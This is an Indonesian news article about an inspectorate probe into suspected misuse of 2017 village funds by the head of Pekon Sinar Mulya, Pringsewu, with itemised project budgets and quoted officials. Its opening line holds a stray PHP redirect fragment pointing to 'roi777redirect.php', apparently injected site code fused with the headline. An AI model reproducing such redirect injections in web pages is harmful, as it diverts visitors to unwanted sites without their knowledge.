header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Ada Dugaan Penyalahgunaan Anggaran Lain -
Ada Dugaan Penyalahgunaan Anggaran Lain

Kasus Oknum Kakon Sinar Mulya, Yan Bahri Angkat Bicara

TRANSLAMPUNG.COM, PRINGSEWU – Ahirnya tokoh masyarakat Pekon Sinar Mulya Kecamatan Banyumas Pringsewu Yan Bahri angkat bicara juga terkait kasus yang melibatkan Kepala Pekon setempat, dia membeberkan kasus lain yang dilakukan Odih Warsono bukan hanya dugaan kasus proyek fisik saja melainkan ada juga dugaan penyimpangan beberapa kegiataan pemberdayaan masyarakat yang indikasinya tidak dilaksanakan secara utuh oleh oknum Kepala Pekon setempat.

Yan Bahri menjelaskan juga terkait dengan adanya pemeriksaan kasus korupsi Alokasi Dana Desa (ADD) dan Alokasi Dana Pekon (ADP) tahun 2017 yang saat ini sedang di periksa Inspektorat dan aparat penegak hukum terkait beberapa kegiatan pembangunan fisik, namun yang sebenarnya kegiatan pemberdayaan juga perlu diperiksa oleh aparat penegak hukum.

Selain itu menurutnya diduga ada banyak permasalahan pelaksanaan kegiatan dana ADD dan ADP tahun 2017 ini karena masyarakat juga sudah curiga selama ini demikian juga kegiatan dalam bentuk kegiatan pembinaan masyarakat  seperti peningkatan kapasitas guru ngaji Rp.12,831665, kegiatan Musabaqoh tilawatil qur’an (mtq) tingkat pekon Rp10,070,900, demikian juga kegiatan Pelatihan peningkatan kapasitas Pengurus TTKKDH Rp12,809,500, Peningkatan Kapasitas Guru PAUD dan TK Rp.6,583,000, beberapa kegiatan ini juga ada dugaan di mark-up oleh Kepala Pekon.

Yan Bahri juga meminta apa bila ada temuan dari pihak Inspektorat maupun Tipikor atau aparat penegak hukum perlu juga dieskpos di media atau semacam informasi ke masyarakat supaya semua kegiatan bisa diperiksa sesuai dengan tupoksi agar masyarakat tahu apa yang sebenarnya di lakukan oleh oknum Kepala Pekon.

“Kami masyarakat berharap aparat penegak hukum dan Inspektorat memeriksa sesuai dengan tupoksinya agar masyarakat juga tahu kesalahan yang dilakukan oleh Kakon,” katanya.

Sementara Pendamping lokal desa Arman, Pekon Sinar mulya Kecamatan Banyumas Pringsewu juga ikut diperiksa Inspektorat Pringsewu terkait Kasus dugaan korupsi dana ADD dan ADP tahun 2017 Pekon setempat.

Arman mengaku diperiksa di kantor Inspektorat Pringsewu dan menjalani pemeriksaan selama dua hari (senin dan selasa) saat diperiksa selaku pendamping lokal desa terkait pelaksanaan pembangunan di tahun 2017 lalu, saat diperiksa dia mengaku tidak pernah dilibatkan oleh Kakon dalam kegiatan pembangunan pekon bahkan setiap memberikan masukan tidak ditanggapi oleh Odih Warsono.

“Saat diperiksa saya jelaskan semua jika dalam pelaksanaan pembangunan Sinar mulya selaku pemdamping lokal desa tidak pernah dilibatkan bahkan setiap memberikan masukan tidak ditanggapi oleh Odih Warsono,” kata Arman.

Kasus dugaan korupsi dana ADD dan ADP tahun 2017 Pekon Sinar Mulya Kecamatan Banyumas Kabupaten Pringsewu makin terkuak dengan kembali di periksanya Odih Warsono sang Kepala Pekon oleh Inspektorat Kabupaten Pringsewu pada jum’at 29/06 lalu.

Setelah inspektorat menurunkan tim ahli untuk menghitung dugaan kerugian negara yang dilakukan Odih warsono dengan memeriksa enam macam kegiatan pembangunan, bahkan tim inspektorat baru memeriksa satu pembangunan jembatan sudah ditemukan banyak ketidak beresan dalam pelaksanaan pembangunan di pekon setempat.

Menurut informasi yang disampaikan oleh sumber salah satu tim ahli inspektorat mengatakan baru awal kami periksa jembatan sudah banyak kami temukan dugaan penyimpangan yang dilakukan kepala pekon seperti pemasangan besi tidak sesuai, lebar jembatan hanya tiga meter dengan pelaporan empat meter, demikian material batu yang digunakan untuk pondasi juga sangat banyak atau tidak sesuai dengan kondisi lokasi.

Sementara diruangannya sekretaris Inspektorat Heriyadi Indra saat di konfirmasi membenarkan jika Odih Warsono kembali diperiksa oleh inspektorat bukan hanya pemeriksaan administrasi namun juga memeriksa proyek bangunannya juga sementara untuk hasil pemeriksaan tentunya akan di ekpos jika sudah selesai pemeriksaan secara keseluruhan.

Selain itu Heriyadi Indra juga menyampaikan untuk gambaran sementara memang ada dugaan kerugian negara yang dilakukan Odih warsono dan dipastikan pemeriksaan akan berlanjut sampai selesai secara keseluruhan.

“Saya pastikan pemeriksaan ini berlanjut sampai selesai secara keseluruhan,  di karena sudah banyak titik terang kesalahan yang di lakukan oleh Odih warsono kepala pekon sinar mulya tentang Add dan Adv tahun 2017,” katanya.

Sebelumnya Suratman mewakili Irban 1 Inspektorat Dwirman mengatakan di jadwalkan inspektorat akan menggunakan team ahli teknis guna memeriksa enam item pembangunan di pekon sinar mulya dana ADD dan ADP tahun 2017 diantaranya Pembangunan Talud Jalan menggunakan dana sebesar  Rp.34,377,200,-  juga Pembangunan  Saluran Draenase yang menggunakan dana Rp.87,361,800,-  demikian juga Pembangunan  Gorong-gorong Plat Rp.20,124,500,-  demikian juga Pembangunan Onderlagh jalan dengan menggunakan dana Rp.350,138,000,- serta Pembangunan Jembatan dengan dana Rp.99,085,000,- serta pembangunan Pagar Jembatan yang hanya menggunakan pipa paralon diisi semen menghabiskan dana sebesar Rp.8,377,500,- bahkan juga Pembangunan Lapangan Futsal yang menghabiskan dana Rp.119,715,000,- juga diduga banyak yang fiktif seperti pengecetan dan yang lainnya, bahkan jika memang ada temuan lain kami juga akan memeriksa juga kegiatan lain yang menggunakan dana ADD dan ADP tahun 2017 tersebut.

“Kami menggunakan tim ahli dalam memeriksa kasus Sinar Mulya ini dan ada sejumlah enam item kegiatan pembangunan yang akan kami periksa,” kata suratman. (rez/hkw)

News Reporter